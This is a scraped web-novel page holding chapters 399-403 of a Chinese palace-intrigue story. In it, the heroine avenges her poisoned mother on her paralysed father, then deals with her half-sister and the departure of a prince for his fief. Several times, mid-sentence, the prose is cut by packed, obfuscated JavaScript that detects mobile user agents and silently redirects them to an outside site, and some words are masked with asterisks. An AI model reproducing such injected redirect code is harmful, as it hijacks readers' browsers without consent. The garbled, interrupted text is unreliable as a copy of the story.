为了让他少拉,他们便开始克扣他的吃食,连水都不肯给他喝,他的嘴巴干的起皮,看上去十分可怜。 陆贯轩起先还会激动地大骂,后来慢慢安静了。 他说话含糊不清,旁人根本听不清他在骂什么。 而且就算他骂得再卖力,这些下人也完全不予理会,他慢慢认清了事实,这些人就是故意刁难他! 自己这个一家之主,竟是被这些刁奴拿捏,天道何其不公! 定是紫鹃那**指使的! 第399章 陆贯轩** 紫鹃隔三差五会去看看陆贯轩。 大小姐给她安排了此事,她就得办好,万不能让陆贯轩过得太舒坦,回头自己被问罪。 陆贯轩见了她就怒目圆睁,张嘴大骂她毒妇。 紫鹃掩着口鼻,看着他的眼神都是嫌恶,连一句多余的话都懒得说。 陆贯轩老泪纵横,最后只能一遍遍地喊着陆知苒的名字。 紫鹃听了,在心中嘲讽,他到现在还不知道自己落得这般下场究竟是谁的授意。 陆知苒很快被他盼来了。 她最近在与族长商议过继子嗣之事,现在事情已经有了结果,于情于理,她都要来知会陆贯轩一声。 紫鹃在陆知苒面前十分老实,一副伏低做小的姿态。 “王妃,天气热了,屋子里味道重,恐怕会熏着您。” 陆知苒淡声,“无妨,到底是我父亲,我总要去看他一眼。” 亲眼看到了,心中的恨意才能有所交代。 迈步进去,迎面果然是一股浓烈的臭味。 以往意气风发、斯文体面的陆贯轩,此时已经肮脏狼狈得如同阴沟里的老鼠。 他看到陆知苒,黯淡的眸光终于亮了。 他艰难又含糊地喊,“苒姐儿……” 陆知苒静静地看着他,“父亲竟变成了这样。” 陆贯轩的眼泪一下就下来了,“刁奴……杀,杀了!紫鹃,贱婢,也,也杀了!” “父亲的意思是,他们苛待你,让我杀了他们,替你做主?” 陆贯轩用力点头,眼底也迸射出希望的光。 陆知苒勾唇露出一抹笑,“可是,这些事都是我吩咐的,他们都做得很好,我非常满意。” 陆贯轩如遭雷击,瞪大了眼睛,似怀疑自己听错了。 “当初,我娘亲为你豪掷千金,铺就官途,你得了势就跟方氏勾搭上,还与她合谋给我娘亲下毒。方氏可恨,你更是狼心狗肺,罪该万死!” 陆知苒的语气冷冰冰的,眼神更是充满了恨意。 她固然恨方氏,但更恨陆贯轩。 娘亲待他一心一意,毫无保留,他却两面三刀,翻脸无情。 他的血是冷的,心也是黑的。 陆贯轩终于反应过来,身子狠狠一哆嗦,原本眼中的希望也彻底熄灭了。 他想解释,但因为着急,说出口的话只变成了一团含糊不清的呜咽,嘴角口水直流,丑态毕现。 陆知苒能猜到他想说什么,无非就是一些辩解的话,她懒得听。 “方氏被我喂了断肠散,肠穿肚烂,七窍流血而死,我亲眼看到她受尽了折磨,最后慢慢咽了气。你该庆幸,陆家还需要你这个招牌撑门面,不然,你现在就不是中风瘫痪,而是早就去向我娘忏悔了!” 陆贯轩瞬间明白了什么,原来自己会中风,竟是陆知苒动的手脚! 他激动地呜咽着什么,陆知苒听懂了,他在骂“逆女”。 陆知苒淡声道:“父不慈,女不孝,你骂我的时候,不如先好好反思反思自己,究竟有没有做一个好父亲。” 陆贯轩还在骂,大约骂得很难听,陆知苒直接打断了他。 “你还是省省力气吧,免得太过激动又失禁。” 一句话让陆贯轩的脸色涨红,呼吸也瞬间急促起来。 “我这次来,是跟你说过继子嗣之事,人选我已经选好了,过继手续很快就能办好。届时,我有了弟弟,你也有了为你摔盆之人,你就能安心上路了。” 私心上来说,陆知苒根本不想为陆贯轩过继子嗣,陆家所谓的香火传承,她也根本不在乎。 但是,为了大局考虑,她不得不这么做。 她是瑾王妃,她不能没有娘家,哪怕陆家只是一个空壳子,也不能倒。 陆家有了新的继承人,陆贯轩就没了活着的必要。 他也该下去向娘亲忏悔了。 陆贯轩激动起来,一股浓郁的骚臭传来,他的表情再次凝固。 陆知苒嘲讽地看着他,“如果我是你,与其这样毫无尊严地活着,不如痛痛快快地**来的干脆。但你如果真的那么怕死,我看在我们父女一场的份儿上,也会留你一条性命。” 说完,她便不再久留,转身离开。 身后又传来陆贯轩含糊不清的骂声。 陆贯轩骂累了,整个人都有些虚脱。 他恨啊,没想到自己竟是被亲生女儿害成了这样。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15780966|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >亏得先前他还把这个女儿当成自己的救命稻草!他的一腔真心,当真错付了。 他的身上已经长满了褥子,疼痛瘙痒,难熬极了,还有身上这股臭味,更让他恶心。 但他除了这么躺着任人摆布,什么都做不了。 他不想死,可,他也不想这么毫无尊严地活着。 这样的日子,每一日,都是煎熬。 贼老天,你若当真有灵,就下一道雷,劈死那不孝的逆女吧! 老天爷好似当真听到了他的声音,天上乌云密布,响起一道惊雷。 陆知苒站在院中,抬头看着黑沉沉的天空,面色平静,并无一丝畏惧。 老天爷若当真有眼,早在十几年前,就应当把陆贯轩和方氏这对狗男女劈死,又何至于等到现在,要自己亲自动手? 陆家族长牵头,很快就把过继之事办好。 那过继的孩子出自陆家旁支,名唤陆砚修,今年刚五岁。 母亲离世,父亲再娶,继母生了个弟弟,他的日子过得并不好。 陆知苒第一眼见到他,就觉得他的眼神里带着一股狠劲,像一头狼崽子。 再联想到他的身世,最终定下了他。 五岁的孩子,心性尚可雕琢。未来如何,谁都无法预知。 过继之事完成,陆知苒给了紫鹃一瓶药。 是当初给方氏服用的断肠散。 “让父亲自己选吧。” 究竟是长痛不如短痛,干脆利落地死,还是继续苟延残喘,毫无尊严地活? 她给他选择的机会。 陆贯轩拼尽全力,将那药打碎了,更是赤红着眼睛怒视紫鹃,骂她**。 紫鹃见他做出了选择,转身离开。 谁料,到了第二日,紫鹃就听说陆贯轩**。 紫鹃连忙去看,这才知道,他从床上摔了下来,地上是他摔碎的瓷瓶,小厮懒怠,无人打扫,他摔在尖锐的碎片上,被割破了喉咙。 血流了一个晚上,等到小厮进来时,人已经死得透透的了。 看管的小厮顿时慌了,生怕自己会受到责罚。 紫鹃也第一时间回禀给陆知苒,陆知苒听罢,眸光微微动了动。 “发丧吧。” 第400章 掂量清楚自己的斤两 陆贯轩的死,让众人为陆家这段波折起伏的故事画上了一个句号。 百姓们茶余饭后都在谈论此事。 “陆大人可惨,如果我是他,我也活不下去。” “好在陆家过继了一个还在在他名下,他**,也有人给他摔盆。” “到底不是亲生的,唉,陆大人真是可怜。” “陆大人落得这般下场,都是那方氏害的,真是最毒妇人心。” “要我说,他也不冤枉,当年他发妻**没多久,他就迎了方氏进门,谁知道他们之前是不是早就勾搭上了,说不定,他发妻都是他们害死的呢。” 这样的传言甚嚣尘上。 今日到陆家上香的客人也不少,大家都看在瑾王的面子上,想借此机会攀上瑾王。 方娇自然没有出现,方家其他人亦缺席了。 两家闹得这般难看,他们也没凑上来自讨没趣。 一直没有露面的陆映溪终于出现了。 她肉眼可见地沧桑了许多,眼角隐约现出了皱纹,那副模样,的确像是丧父之后伤心欲绝的模样。 她的目光一直落在陆知苒的身上,眼底恨意一闪而过。 寻了机会,她跟上陆知苒,待四周没了旁人,她上前,出声质问。 “陆知苒,我娘是被你害死的,对不对?” 陆知苒尚未开口,霜华便出声呵斥,“大胆,见了我们王妃非但不行礼,还如此口出狂言,谁给你的胆子?” “你又算个什么东西,敢在我面前吆五喝六!” 陆知苒淡声吩咐,“霜华,掌嘴。” 陆映溪瞪大了眼,还不待她反应,霜华已经扬手给了她一记耳光,十分响亮。 陆映溪的半边脸都麻了,满是难以置信。 “且不说我乃瑾王妃,只说我是你嫡姐,你就没有资格对我这般说话。” 陆映溪捂着脸,眼底满是愤怒。 “你……你以为我不知道,爹娘都是被你害死的!陆知苒,你如此不孝不悌,会遭报应的!” 说完,她生怕自己再挨耳光,下意识后退了两步。 陆知苒静静地看着她,“这番话,你怎么不在灵堂上说?因为你没证据,没有证据的话,就是污蔑。” 陆映溪控诉,“人在做,天在看,老天爷都看在眼里。阎罗殿的判官手里,都有一笔账,你逃不掉!” 陆知苒轻笑一声,“人活着的时候,没见你如此卖力地为他们奔走,反倒是连脸都没有露。现在人**,你倒是第一个跳出来当孝女,这份孝心,真是令人感动啊。” 陆知苒的讥讽让她脸色青白交错。 “我并非是不想来,而是……” 话说一半就打住了,实在是后面的话有些自揭其短。 陆知苒替她把话说完了,“因为你生的儿子被诊断出有痴傻之症,姜家人迁怒你,不仅动手打你,还将你禁足,不让你出门,对吗?” 陆映溪的遮羞布被揭,脸色再次涨红,同时,心尖那最隐匿的伤处也被她揭开。 原本儿子是她的筹码,也是她的骄傲。 但而今,她的骄傲成了耻辱,也让她遭受了前所未有的苦难。 这一瞬间,她觉得自己在陆知苒面前彻底抬不起头来了。 陆知苒看着她,表情冰冷。 “有些人都自身难保了,还在这里上蹿下跳地蹦跶,当真是不知所谓。你就算想找我报仇,也先好好掂量掂量自己的斤两。你信不信,我只需要对姜家人说一句话,他们就能把你折磨得不成人样?” 陆映溪身子狠狠一哆嗦,一股恐惧和寒意自脚底往上蹿。 这段时间的日子,让她对姜家生出了深深的恐惧。 原来,先前姜家人对她尚算客气,不过是看在她还有娘家,有靠山,又生了儿子的面子上。 而今,母亲被休,方家出事,父亲也**,她生的儿子还是个傻子,姜家人终于彻底露出了真面目。 陆映溪一己之力,根本没法对抗姜家。 若非父亲发丧,她这个女儿不能不露面,只怕自己现在还被关在姜家的柴房里。 没错,这段时日,她一直都住在柴房。 现在天气已经热了,大家都穿上了夏衣,她却依旧穿着春衫,就是为了遮住身上的外伤,那些都是姜家人打的。 陆映溪嘴唇哆嗦,“是你授意姜家人折辱我,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15780967|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对?” 定是这样,不然姜家人怎么敢这么对她? 陆知苒嘲讽,姜家人那样惯会见风使舵,又极度自私自利的人,哪里需要她开口?他们嗅到一点苗头,自己就会动手了。 不过,如果这样想,能让她老实安分些,她能这么想也没什么不好。 陆知苒没有解释,“长点脑子,不要做以卵击石的蠢事。现在我碾死你,就像碾死一只蚂蚁那么简单。” 说完,她便转身离开,没有再给陆映溪叫嚣的机会。 耳边没了那不知死活的聒噪,陆知苒转而道:“告诉紫鹃一声,陆府上下的人,该好好清理一番了。若下次还有府中的消息随随便便泄露出去,那就不要怪我不给她机会。” 陆映溪刚从姜家解禁,就得知了陆府发生的事,定是有人向她告了密。 即便没有这一出插曲,陆家发生了翻天覆地的巨变,府中的人也的确该好好清理一番。 紫鹃若是做不好这件事,她不介意换个人做。 紫鹃的办事能力很强,很快就把陆府上下大清洗了。 她还带来了另外一个消息。 西苑的姨娘们做了不少胭脂、绣品等物,想托人拿出去卖,被发现了,紫鹃一时不知该如何处理。 按理说,这样的事在私底下做没什么,不是什么大事。 但紫鹃急于在陆知苒跟前表现,也生怕一个疏漏会造成什么严重后果,让自己在陆知苒面前失了机会,出于谨慎,她还是把此事回禀给了陆知苒。 同时,也想向陆知苒讨个说法,该如何安置西苑的这些姨娘们。 陆知苒看到了她们送出来的东西,刺绣的绣功扎实,胭脂的成色鲜亮,质地细腻,都是上品。 她当即有了决断,“让紫鹃姨娘去向她们传句话,她们是否愿意到锦绣坊做活?她们都有手艺,待遇不会差。若她们不愿也不要紧,陆府会提高她们的月银,好好养着她们。” 锦绣坊需要真正有手艺的人才,而这些姨娘与其在陆家蹉跎一辈子,不如放她们出去,让她们能有一个不一样的人生。 当然,究竟怎么选,还得看她们自己。 第401章 安王即将启程前往封地 紫鹃没想到,陆知苒会给出这么一个回答,惊讶的同时,又不禁生出感触。 陆知苒是个宽和之人,只要不触犯到她的底线,她不会吝于给她们一条明路。 紫鹃庆幸,自己上了她的船。 她同时也更加坚定原本的念头,定要好好地替她办事,只求日后她能对辰儿多几分照应。 姨娘们很快就做了决定。 西苑的几位姨娘们都做出了同样的选择,她们愿意去锦绣坊。 陆家的日子,一眼就望到了头,没有任何希望可言。 她们在这里,虽然能不为生计忧愁,但没有希望的日子,又有什么意思? 她们早就听说了锦绣坊的一切,也心生向往。 只是她们不敢妄想,自己竟然也能有机会脱离陆家,到锦绣坊去。 现在,大小姐怜惜,给她们这样的机会,她们如何会错过? 除了这些老姨娘,还有陆贯轩后来纳进门的两个姨娘,她们既不想留下,也不想去锦绣坊,只想回家,好找个人家重新嫁了,陆知苒也大方地允了。 那两个女子都还年轻,她们本就应该有更好的未来。 陆知苒如此一番操作,将陆贯轩内院里的姨娘们全都遣散了。 陆家的族老们有人跳出来指手画脚,说她外嫁女多管闲事,有此先例,其他内宅女子岂不都心思浮动,不想专心地相夫教子? 但此事没有闹到陆知苒的跟前,被族长一力压下了。 族长有自己的思量,眼下陆家大不如前,唯一的希望就在陆知苒的身上,他们如何能在这个时候得罪对方? 别说是几个无足轻重的姨娘,便是她要把自己这个族长换了,族长都得乖乖听话,此乃识时务者为俊杰。 陆知苒过后才听说了此事,对族长便添了几分满意。 陆家的事一点点慢慢淡出众人视野,时间也来到了七月。 孙皇后的孝期过了,民间的婚丧嫁娶开始操办起来。 在早朝之时,德丰帝提起了八皇子的亲事,“老八到了年纪,合该把亲事办了,你的封地,朕也给你准备好了。” 这话里的意思再明显不过,让八皇子赶紧成婚,然后和王妃侧妃一起前往封地。 这也意味着,德丰帝没有把他纳入太子的候选之中。 八皇子萧晏临立马站出来谢恩。 德丰帝目光一转,落在萧晏珩的身上。 “安王的身子可好些了?” 萧晏珩立马恭敬回答,“回父皇,儿臣的身子是娘胎里带出来的老问题,还需慢慢调理。” “你的封地在荆湖地区,那里气候不错,适合养身子。” 萧晏珩眸光一动,立马顺势道:“儿臣正要向父皇回禀此事,儿臣想及早动身前往封地,休养身子。” 德丰帝闻言,点头允了。 如此,安王前往封地之事便定了下来。 京中就只剩瑾王一人,而德丰帝没有提半个让他前往封地之事。 众朝臣鼻眼观心,对此已然有了猜测。 瑾王俨然是太子的最佳人选,请封太子也是迟早之事。 陆知苒得知消息,和萧晏辞一道登了安王府的门。 邢初雪已经在吩咐众人收拾行囊,为前往封地做准备。 她的脸上没有颓丧之色,反而一派轻松愉悦。 她先前便同陆知苒说过,她想去封地,在自己的地盘上过日子,自由自在。 这不是假话,而是发自内心。 见到陆知苒,邢初雪的脸上这才露出几分不舍。 “我们去了封地,以后想见面都不容易了。” 亲王无召不得回京,就算能回来,也顶多一年回一次。 陆知苒也不舍,但局势不由人。 德丰帝既然在朝堂上说了那话,就已经表明了态度。 萧晏珩不主动提,德丰帝也会下旨,不过是时间早晚的问题。 陆知苒笑道:“来日方长,总有机会再聚。” 邢初雪又道:“若京中有什么事,记得去信给我们,我与王爷虽位卑力薄,但也能尽绵薄之力。” 同时,萧晏珩也在与萧晏辞说着同样的话。 “朝中局势波诡云谲,瞬息万变,七弟眼下风头最盛,却也最易成为众矢之的,还望七弟多加小心,莫要让有心人钻了空子。皇兄虽去了封地,但在京中依旧有些人手,若遇了事,恒瑞商行上下尽可为你所用。” 萧晏珩已经向他投了诚,而今,不过是再重申自己的立场。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786049|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>他即将赶赴封地,远离京城的风波,但实际上,谁都无法真正远离,他下萧晏辞的注,既是在帮对方,也是在为自己未来的生活下筹码。 他所求不多,只希望能在封地踏踏实实,做个富贵王爷。 萧晏辞神色郑重,“弟弟这便先谢过五皇兄。若来日事成,定不会忘了五皇兄今日之恩。” 萧宝珠也来向邢初雪辞行,双方倒是遇上了。 她是一个人来的,孙牧之这段时日都不在家。 孙牧之成了驸马,并未因此被调至闲差,还被德丰帝安排剿匪去了。 嘉铜府一带的匪患猖獗,百姓不胜其扰,商人商队也都纷纷绕道,让此地的民生大受影响。 就在最近,又发生了一桩重大的匪患,当地知府上折请罪,同时向朝廷请求支援,扫除匪患。 这是一桩苦差事,萧宝珠得知的时候,立马就想进宫去求父皇收回成命,被孙牧之阻拦了。 他愿意去办这桩差事,总好过就此闲着。 唯一让他顾虑的,便是要与萧宝珠分开,且短时间内回不来。 萧宝珠自然也舍不得他,但最终也没有阻拦,让他去了。 他已经去了一个多月,萧宝珠隔三差五能收到他的书信,得知他一切都好,萧宝珠到底放心许多。 照他估计,再有一个月,差事就能办好,届时,二人就能团聚了。 萧宝珠想到孙牧之,一时不禁失了神,对面两人连喊了她好几次,她才回过神来。 邢初雪故作气恼,“知苒你瞧瞧她,明着是来看我,给我送行,实则,她的心思,都不知道飞到哪里去了。” 陆知苒打趣,“还能飞到哪里?自然是飞到驸马的身上。” 邢初雪长长地“哦”了一声。 二人一唱一和,萧宝珠的面色不禁涨红,便是耳根子也烫了起来。 以往素来快言快语的她,这会儿倒是扭捏起来了,不知该如何反驳。 二人也没继续打趣她,转而问起了她的近况。 萧宝珠的脸上露出一抹笑,“我挺好的,母亲搬到了公主府与我同住,说来不怕你们笑话,这段日子,我终于知道有母亲亲身照料是个什么感觉,真的很幸福。” 第402章 赵婕妤的出身 甄氏是个温柔的人,她本就很喜欢萧宝珠,而今二人身份转换,她待萧宝珠就更加温柔细致。 萧宝珠与孙皇后的心结已经解开,但缺失的母爱却是实实在在缺失的,谁都无法否认。 从甄氏的身上,萧宝珠感受到了缺失的母爱。 原来,有母亲疼爱是这种滋味。 这话让陆知苒和邢初雪都沉默了。 陆知苒得到过母亲无所保留的疼爱,但时间太过短暂,让她每每回忆起来,心底只有酸涩。 而邢初雪,她虽有母亲,却没有得到过偏爱。 而今,母女二人更是形同陌路。 萧宝珠能有这样的婆母,真的是一桩幸事。 大家一起在安王府吃了一顿饭,时间差不多了,这才各自回家。 安王府的动作很快,不过几日,所有东西都准备好了。 萧晏珩带着邢初雪一起入宫,向德丰帝辞别。 德丰帝似个慈父,对他们耳提面命,叮嘱了许多,末了还赏了不少东西,萧晏珩全都照单全收了。 离开了御书房,他们又去了惠嫔的云锦宫。 惠嫔是萧晏珩的养母,于情于理,他们都要向惠嫔辞行。 惠嫔刚好有客,是八皇子的母妃赵婕妤。 赵婕妤和八皇子母子二人都很低调,不起眼。 近日八皇子的亲事被提上日程,赵婕妤才开始出现在人前。 见到萧晏珩和邢初雪,赵婕妤比他们还紧张,赶紧起身告退了。 萧晏珩不关心闲事,他与惠嫔的关系也一般,只请了安便坐下喝茶,邢初雪要找话题,便问起了赵婕妤。 惠嫔道:“她是为八皇子的亲事而来。” 邢初雪便顺势问,“可有合适的人选了?” 惠嫔的眼底闪过一抹鄙夷,“她那样出身的人,能找得到什么合适的人选?此事自有人操心,轮不到我们管闲事。” 邢初雪便识趣地闭嘴了。 萧晏珩放下茶盏,开口提了正事。 “我们已经准备妥当,明日便要启程赶往封地,今日特来向母妃辞行。” 惠嫔惊讶,“这么快?” 萧晏辞:“宜早不宜迟。” 惠嫔的眼底露出不满,“此事是你自己主动提的,若你不提,皇上也定不会赶你。” 这话明显对他带出苛责与迁怒。 邢初雪的神色微紧,一时有些忐忑。 她担心他们吵起来,这要传出去,身为晚辈,他们注定是要吃亏的。 这于王爷的名声不好。 萧晏珩的表情依旧冷淡,语气亦没有波澜,“儿臣有几斤几两,自己心里清楚。与其等到父皇开口赶,不如儿臣主动提,如此还能保留几分颜面。” 惠嫔神色微僵,显然有些气恼。 “你行事之前,至少要与本宫商议一番。” “此事母妃做不了主,与你商议也无用。” 惠嫔被他这话堵了回来,脸色更加难看。 萧晏珩起身,“儿臣明日就要启程,今日还有不少闲杂琐碎之事要料理,就不叨扰母妃休息了。儿臣告退。” 说完,他拉着邢初雪就走。 邢初雪慌忙行了一礼,小碎步跟了上去。 待出了云锦宫,萧晏珩的脸色依旧不大好,似笼着一层阴霾。 邢初雪反握住他的手,与他十指相扣。 萧晏珩神色微顿,慢慢恢复如常。 回到自家马车上,邢初雪依旧安安静静地坐着,并未探问什么。 反倒是萧晏珩主动开了口,“你就不好奇我们的关系为何会如此冷淡?” 邢初雪老实道:“自是好奇的。” “那你为何不问?” “殿下并非那等忘恩负义之人,你会如此,自有你的道理。而这其中的内情,大概会有些不大愉快,我不想揭你的伤心事。” 邢初雪也有一些自己不愿提起的伤心事,己所不欲勿施于人。 萧晏珩看着她,眼底有柔光满溢。 “此事我已经看开了。” 萧晏珩语气轻描淡写,把事情道来。 惠嫔无子,萧晏珩是她主动争取,才从其他嫔妃手中抢到手,记在她的名下。 但养孩子并不简单,尤其萧晏珩还是个自小带了病根的孩子,要照料起来就更需费心。 惠嫔一开始还能拿出耐心,但萧晏珩实在太难养了,时常生病哭闹,连累她也被德丰帝训斥了好几回,久而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786050|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久之,惠嫔待他就浮于表面了。 在私底下,她对萧晏珩经常口出恶言,十分嫌弃。 她或许以为萧晏珩是小孩子,听不懂,也记不住那些话。 但他自幼早慧,那些恶毒的话一字字地落入他的心里。 他知道这个母妃对自己没有半分真心,自己只是她用来稳固地位的筹码罢了。 旁人待他一分好,他会回以三分。 旁人嫌他恶他,他也不会舔着脸主动讨好。 维持与她表面的母子和谐,已经是萧晏珩能给她的最大体面,也算是回报她对自己的一场养育之恩。 邢初雪听他语气平静地讲述着这些,心底顿时涌起一股心疼。 萧晏珩心里已经没有任何波澜了。 因为他早已经看开,对这个养母没有怀抱不该有的希望。 不怀抱希望,自然就不会失望。 “都过去了,我们马上就要前往封地,过往的一切,都不重要了。” 邢初雪握着他的手,用力点头。 “嗯,我们在封地,定能过得很好。” 萧晏珩含笑点头。 邢初雪又问起了赵婕妤,她虽是世家女,但她宫中嫔妃的出身来历完全不清楚。 方才听惠嫔那话里的意思,这位赵婕妤的出身似是不高。 萧晏珩耐心地向她解答,“赵婕妤的出身的确不高,她的祖父是渔民出身,靠出海发了家。赵婕妤入宫之后,赵家鸡犬升天,曾经显赫一时。” “曾经?后来赵家是发生了什么事?” 萧晏珩回忆一番,“当年,赵家被封官,赵婕妤兄长被封了个武将,派往西平驻守。后来传回消息,他在军中狎妓,甚至**良家女子,被当众处了军法,丢了性命,赵家其他人也都被罢官。若非赵婕妤刚好有了身孕,赵家只怕会受到更大的惩处。” 邢初雪听罢,不禁义愤填膺。 “赵家人不冤。” 尤其是那赵婕妤的兄长,干出**良家女子的勾当,该死。 邢初雪本也是好奇才多嘴问了几句,听了这些话之后,她便不再打听。 左右,她与八皇子和未来的八皇子妃也不会有什么交集可言。 第403章 好消息 第二日,安王府的马车启程,前往封地。 这件事并没有引起太多谈资,很快被众人遗忘。 宫中开始为八皇子选妃。 孙皇后薨逝,李贵妃被赐死,宫中后位和妃位都空缺,柔妃被提为贵妃,与淑妃、德妃、贤妃一起并列四妃。 三位妃子都是从潜邸跟着德丰帝的,虽没有子嗣,但资历深厚,德丰帝很给她们脸面。 此前孙皇后病重,便是她们协理后宫诸事。 而今,八皇子的亲事也由她们主持操办,赵婕妤这个生母反倒没有绝对的话语权。 经过一番安排和筛选,最终,八皇子的正妃选定,是户部六品主事的嫡长女,两位侧妃分别是都察院六品监察御史嫡次女和兵部武库司六品主事庶女。 钦天监也很快择定了婚期,在九月十七,距今也不过只有两个月的时间,对于皇子成婚而言,算得上很匆忙。 礼部和内务府又开始马不停蹄地忙碌起来。 天气一日热过一日,冰价开始上涨,陆知苒的商铺也在售冰,为她赚取了一笔不菲的收入。 陆知苒自然不缺冰用,但她不敢贪凉,唯恐染了风寒。 但又实在太热,是以,她在自己院中时,总是穿得很单薄,窈窕婀娜的身形勾勒得若隐若现。 这日,闲来无事,她便躺在窗前的躺椅上,姿态慵懒闲适地看书。 原本就松散的衣裳更是松松垮垮,露出一片美好风光。 萧晏辞刚从外头回来,看到的便是这么一副活色生香的情形。 他本就气血方刚,熬过了皇后的孝期,还有老岳丈的孝期。 他直勾勾地盯着陆知苒,眼睛都绿了。 陆知苒也没料到她今日回来这般早,以往她可都是穿戴整齐的。 她慌忙起身,捞过一件外裳要批上,萧晏辞已经上前帮忙。 借着给她穿衣裳的功夫,萧晏辞伸手环住了她,不肯撒手了。 陆知苒伸手推他,没推动。 “还有人。” 伺候的丫鬟们都十分有眼色,已经退了出去。 萧晏辞:“现在没了。” 他的下巴搁在她肩头,刺硬的胡渣刺得陆知苒有些发痒,又不敢躲。 他的身子似火炉一般,烧得陆知苒也热起来了。 她知道他想要什么。 别说是他,便是陆知苒也有点馋了。 她愿意为孙皇后守孝,但为陆贯轩,她不愿意。 那个爹,不值得她做任何事。 萧晏辞抱了一会儿,克制地松开了。 再继续下去,他怕自己要控制不住了。 “今日提前回来,是有一个好消息要告诉你。” 陆知苒眼底多了几分疑惑,还有一丝隐约的期待。 “什么好消息?” “皇商之事终于有结果了。” 原本此事在数月前就应当落实,但皇后孝期,此事暂停。 而今孝期过了一个多月,事情的结果这才公布。 陆知苒一喜,“洛家选上了?” 萧晏辞含笑点头。 陆知苒很高兴,“多谢殿下为洛家出力。” 萧晏辞并不居功,“本王其实什么都没做,洛家能中选,实至名归。” 洛家以苏绣“落霞锦”参选,落霞锦以苏绣为魂,寸缕寸金——针脚细密如天工织云,彩线晕染似江南烟雨,远观流光溢霞,近触柔若春水,真真是“十指春风绣乾坤,一匹洛霞倾帝王”。 但凡有眼睛的,都能看出此锦华丽无双,远胜其他。 萧晏辞原本的确打算从中周旋一二,但亲眼看到落霞锦之后,他就打消了这个念头。 他没有参与,更没过问,洛家凭实力入选,日后也不会遭人诟病。 陆知苒让人去给洛家送拜帖,明日她要亲自登门道喜。 因为这一桩喜事,陆知苒连饭都多吃了小半碗。 到了晚上,屋中愈发燥热,放了好几盆子冰,才稍稍缓解暑气。 萧晏辞格外老实,平整地躺着,没有越雷池半步。 正在脑中不停念着静心咒,不成想,身旁的人却从背后缠了上来。 柔软的身子紧贴着他,叫他的后背瞬间紧绷了。 黑暗中,他的声音嘶哑。 “知苒,别闹。” 他没有这般强大的自制力。 陆知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790290|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苒却没有收手,“我没闹,我知道你想。” 萧晏辞用力握住她的手,阻止她。 “你还在孝期。” “我与他没有父女情分,不欲替他守孝。” 她都弑父了,还有什么必要替他守孝? 萧晏辞转身,看她目光相对。 “知苒,我知道你有心结,但是纵他万般不是,世人只见父女伦常。你恨他,杀他,我都不拦,还要主动给你递刀子,但这些都不能为外人所知。” “若今夜你有孕,于你的名声有损。我要你堂堂正正站在阳光下,不要百年后史笔如刀,刻你一个不孝罪名!” 他的目光灼灼,语气真挚,每一句都发自肺腑。 他不能为了一晌欢愉,就让陆知苒承担风险。 他当然也会被人诟病,但她身为陆贯轩之女,所承受的责难必然比自己多得多。 陆知苒听着他的这番话,心头情绪翻涌,难以自抑。 她再次伸手,一把抱住了眼前男人,将整张脸都埋进了他的怀里。 她此刻已经面色羞窘,无地自容。 既为自己孟浪的行径而羞窘,也为他对自己的回护之意而感动。 萧晏辞浑身再次僵硬,整个人颇有种手足无措。 这简直是对他意志力的最大考验。 一而再再而三,他也不敢保证自己能否抵挡得住。 正不知该如何是好,陆知苒闷声道:“我就抱抱你。” 见她终于没打算做什么了,萧晏辞松了口气的同时,又觉得分外难熬。 美人在怀,却无福消受,他可真是遭老罪了。 夏日的衣裳单薄,互相能感受到彼此的体温。 